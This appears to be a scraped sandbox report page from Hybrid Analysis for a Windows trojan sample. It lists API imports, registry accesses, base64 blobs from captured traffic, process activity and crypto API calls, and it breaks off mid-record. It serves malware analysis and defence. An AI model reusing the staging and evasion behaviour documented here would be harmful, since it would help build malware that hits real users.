34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 82:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4cd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.JP.Generic Sample a459cc80f8ad… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a459cc80f8ad…. Malware family: Trojan.JP.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","keywords":["Malicious","Trojan.JP.Generic","malware analysis","sandbox report","threat intelligence","a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6"],"about":{"@type":"SoftwareApplication","name":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe","applicationCategory":["peexe","executable"],"identifier":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.JP.Generic","antivirusDetections":{"malicious":12,"total":25},"behavioralIndicators":{"malicious":10,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T17bf,Found reference to API (Indicator: "InitializeSListHead"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidCodePage"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleMode"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "RtlUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "FlushFileBuffers"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineW"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "OutputDebugStringW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSize"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "FlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "DecodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "FlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetOEMCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "wsprintfW"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "sample.bin"), Found reference to API (Indicator: "EncodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetCPInfo"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringEx"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleExW"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "SetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointerEx"; Source: "sample.bin"), Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "LocaleNameToLCID"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "FlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "HeapReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "HeapFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin")37:T410,file/memory contains long string(File: "_lzma.pyd") file/memory contains long string(File: "_bz2.pyd") Found string "unknown compression method" (Source: "00000000-00002512.00000001.111136.007D0000.00000004.mdmp") Found string "The predefined compression dictionary. This is a sequence of bytes" (Source: "00000000-00003580.00000001.112940.02CA0000.00000004.mdmp") Found string "The functions in this module allow compression and decompression using the" (Source: "00000000-00003580.00000001.112940.02CA0000.00000004.mdmp") Found string "compress(data[, level]) -- Compress data, with compression level 0-9 or -1." (Source: "00000000-00003580.00000001.112940.02CA0000.00000004.mdmp") Found string "_compression" (Source: "00000000-00003580.00000001.112940.04A60000.00000004.mdmp") Found string "_compression.pyc" (Source: "00000000-00003580.00000001.112940.04B70000.00000004.mdmp") Found string "C:\ProgramData\NexusSoftware\felix1\python313.zip\_compression.pyc" (Source: "00000000-00003580.00000001.112940.04B70000.00000004.mdmp")38:T8e3,file/memory contains long string with (Indicator: "SHA384"; File: "msedgewebview.exe") file/memory contains long string with (Indicator: "SHA384"; File: "remcmdstub.exe") file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") Found reference to "HMAC_CTX_free" (Indicator: "HMAC"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "HMAC_CTX_new" (Indicator: "HMAC"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "SHA512_Init" (Indicator: "SHA512"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "HMAC_size" (Indicator: "HMAC"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "HMAC_Final" (Indicator: "HMAC"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "SHA512_Transform" (Indicator: "SHA512"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "SHA384_Init" (Indicator: "SHA384"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "HMAC_Update" (Indicator: "HMAC"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003640-00000BC0-560485606") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00003640-00000CC3-573631696") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp") Found reference to "CDSA/SHA384" (Indicator: "SHA384"; Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp")39:Taa8,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP\PNPLOCKDOWNFILES") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP\PNPLOCKDOWNFILES") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP\PNPLOCKDOWNFILES\%SYSTEMDRIVE%/PROGRAMDATA/NEXUSSOFTWARE/FELIX1/PYTHONW.EXE") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\APPLICATIONS\PYTHONW.EXE") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\APPLICATIONS\PYTHONW.EXE") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\APPLICATION") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\APPLICATION") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\APPLICATIONS\%1.EXE") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\APPLICATIONS\%1.EXE") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\PROGID") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\PROGID")3a:T8ec,Contains base64 encoded string "X7LpMxjE180APgJJl40ettpN2bnayUnrrkZaNUjO5+adcweFcPPno1PfYvD29+iAOi41kkLm5i+SMWlQERvLizLeqDZ4tYF0oRkuDAR5WVRbYZuWOI6bd+d5d5b7BSliNbU3DHsnbW92mACrbOyysbe4nDm+BarHmqXCHXSQNrlk7qBw+zREHDl8tYPpOm2l5rwsLZEy/0sMK7mtPenYaE2R+jxsJ4oz+gQ0/aevOVuMrr/+2Hl6OkjDkdnyAXVn0TPRGf8YXrLQqDNm/M1Tw4vPcVaR9PvA11pmf7p0Fwu4UC+jpHDeZW0g14NqPlNojSxo9U+/7NRWxKm/1X4RTVN/0/c3VQC04ggEz3hcsd9wv1CehSP6IarMEdCcSYkg4jtGKGpDvFtSB0M161BHgSVVzm2GG4uvKy9snl3mJN0/7RjccsRHYssnZZkV8ZyROQXj81VsyZr1lGreetC1mCIqGwu5U+1nwh2Uv9iv7mw4UEqYi7vH/UT4AMo05Z1QM/PAA6BhzhISHD+Z2/R05zAwZRuhvMb7NRpa+uH6+L21mKN5gw+mna5IWuIBEzN5WFNgBwtx3E8Kjjo1UCzEGOBFS0h/PYPk8YmRVLjtdByuOXBistn6OBJ5nNonuZ4se/lnHWc4JQAyhTewzjUvMDUmFMv+viUGecI7aifjFUK6wRPHSRXPb7RL73wjAt7eGAFwUkKXGWxkCANRb5sZcCk2hPhtL5ZBqWIBrD1yVfnMQ6eW1gW9gmx8/UKI64Rp3CY0REointjMlc5pD6kk1vBrObezmAETiRw+LAugB40S+xfqfqm2QopCCimDqY2H8n/RP+J9AZaOi9wDDkuhbQboU2loNFuROWGnt6B6zt7zyPdQDw==" in [Source : PCAP] Contains base64 encoded string "X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si1IlL1AY0tOHcDLEj+hIK/oy5UsZK6OtMOnuaEGR7DwqJ4ozwxAGkMPOCTi6xouX6hcZX2Wc8rDHZUMD4TP8L8paa4XjnQFR0fgyhb6MFBX0t9bw4GlWRtxMdT2PFRnlwEW9U1li7sYPCjVfhnto3U/m7IFWmqnn1VIRG1MS0983CADg4jsEyHgqsdxwvlCfhS/6Vaq+EdCcP4kn4kpGJ2pLvGZ0QiBzimUqt1UXryjvL+yYRWwz2zTeQOta23btBoYuUa0VDNhwyO6hcTbjwmdY+66RoFroTOmBqhAbeEiUZo5Q91+iieifw2cXUB2Yzbuc/QX4Bcpe5Y5QM/OfA+RhlxIbHDOZ6vRC52UwKBugvPTrUG88ieCL+Ka1haNHgxGmja4lWoEBRTNpWBlgUg0j3HMKqjpMSkOnao8aJisPUvaAhez0VMrtKw==" in [Source : PCAP] Contains base64 encoded string "X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si1IlL1AY0tOHcDLEj+hIK/oy5UsZK6OtMOnuaEGR7DwBJ4ozwxAGkMPOCTi6xouX6hcZX2Wc8rDHZUMD4TP8L8paa4XjnQFR0fgyhb6MFBX0t9bw4GlWRtxMdT2PFRnlwEW9U1li7sYPCjVfhnto3U/m7IFWmqnn1VIRG1MS0983CADg4jsEyHgqsdxwvlCfhS/6Vaq+EdCcP4kn4kpGJ2pLvGZ0QiBzimUqt1UXryjvL+yYRWwz2zTeQOta23btBoYuUa0VDNhwyO6hcTbjwmdY+66RoFroTOmBqhAbeEiUZo5Q91+iieifw2cXUB2Yzbuc/QX4Bcpe5Y5QM/OfA+RhlxIbHDOZ6vRC52UwKBugvPTrUG88ieCL+Ka1haNHgxGmja4lWoEBRTNpWBlgUg0j3HMKqjpMSkOnao8aJisPUvaAhez0VMrtKw==" in [Source : PCAP]3b:Tc11,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-529741365 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-529749220 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-529935111 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-529942754 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-530124322 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-530131830 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-530340090 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-530347995 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-550522947 [PID: 2512] "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" queried SystemProcessInformation at 00000000-00002512-00000C15-550530201 [PID: 2512] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-553298505 [PID: 3580] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-553305926 [PID: 3580] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-553566734 [PID: 3580] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-553574373 [PID: 3580] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-553753794 [PID: 3580] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-553761271 [PID: 3580] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-554013636 [PID: 3580] "pythonw.exe" queried SystemProcessInformation at 00000000-00003580-00000C15-554020901 [PID: 3580] "powershell.exe" queried SystemProcessInformation at 00000000-00003640-00000C15-558083189 [PID: 3640] "powershell.exe" queried SystemProcessInformation at 00000000-00003640-00000C15-558092001 [PID: 3640] "powershell.exe" queried SystemProcessInformation at 00000000-00003640-00000C15-558426168 [PID: 3640] "powershell.exe" queried SystemProcessInformation at 00000000-00003640-00000C15-558449829 [PID: 3640] "powershell.exe" queried SystemProcessInformation at 00000000-00003640-00000C15-561555203 [PID: 3640] "powershell.exe" queried SystemProcessInformation at 00000000-00003640-00000C15-561563669 [PID: 3640] "powershell.exe" queried SystemProcessInformation at 00000000-00003640-00000C15-562315170 [PID: 3640]3c:T4c7,Process "WerFault.exe" [UID: 00000000-00006216] Process "WerFault.exe" [UID: 00000000-00004260] Process "WerFault.exe" [UID: 00000000-00007364] Process "WerFault.exe" [UID: 00000000-00003160] Process "WerFault.exe" [UID: 00000000-00006744] Process "WerFault.exe" [UID: 00000000-00004384] Process "WerFault.exe" [UID: 00000000-00006316] Process "WerFault.exe" [UID: 00000000-00007636] Process "WerFault.exe" [UID: 00000000-00002144] Process "WerFault.exe" [UID: 00000000-00001380] Process "WerFault.exe" [UID: 00000000-00005924] Process "WerFault.exe" [UID: 00000000-00005864] Process "WerFault.exe" [UID: 00000000-00005076] Process "WerFault.exe" [UID: 00000000-00007564] Process "WerFault.exe" [UID: 00000000-00007212] Process "WerFault.exe" [UID: 00000000-00001992] Process "WerFault.exe" [UID: 00000000-00005080] Process "WerFault.exe" [UID: 00000000-00001584] Process "WerFault.exe" [UID: 00000000-00005108] Process "WerFault.exe" [UID: 00000000-00007984] Process "WerFault.exe" [UID: 00000000-00007748] Process "WerFault.exe" [UID: 00000000-00002508] Process "WerFault.exe" [UID: 00000000-00007372] Process "WerFault.exe" [UID: 00000000-00006268] Process "WerFault.exe" [UID: 00000000-00003568]3d:T85b,Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CryptGetProvParam" (Indicator: "CryptGetProvParam"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CryptAcquireContextA" (Indicator: "CryptAcquireContextA"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CertGetEnhancedKeyUsage" (Indicator: "CertGetEnhancedKeyUsage"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CertAddStoreToCollection" (Indicator: "CertAddStoreToCollection"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CertEnumCRLsInStore" (Indicator: "CertEnumCRLsInStore"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CertFreeCRLContext" (Indicator: "CertFreeCRLContext"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found api reference "CryptEncrypt" (Indicator: "CryptEncrypt"; Source: "00000000-00003580.00000001.112940.02CA0000.00000004.mdmp")3e:T3cf2,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "CryptStringToBinaryA" with parameters {"pszString": "JppoPHg3213iYuqnsZW0PQcJadSLoY5FpA==" "cchString": "36" "dwFlags": "1" "pcbBinary": "19000000"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "CryptStringToBinaryW" with parameters {"pszString": "JppoPHg3213iYuqnsZW0PQcJadSLoY5FpA==" "cchString": "36" "dwFlags": "1" "pcbBinary": "19000000"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "CryptStringToBinaryA" with parameters {"pszString": "JppoPHg3213iYuqnsZW0PQcJadSLoY5FpA==" "cchString": "36" "dwFlags": "1" "pbBinary": "269a683c7837db5de262eaa7b195b43d070969d48ba18e45a4" "pcbBinary": "19000000"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "CryptStringToBinaryW" with parameters {"pszString": "JppoPHg3213iYuqnsZW0PQcJadSLoY5FpA==" "cchString": "36" "dwFlags": "1" "pbBinary": "269a683c7837db5de262eaa7b195b43d070969d48ba18e45a4" "pcbBinary": "19000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDV/poQLjVsb85LnwsCuA0OwrdhOgJ9Idx88iVA/crVxKCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": 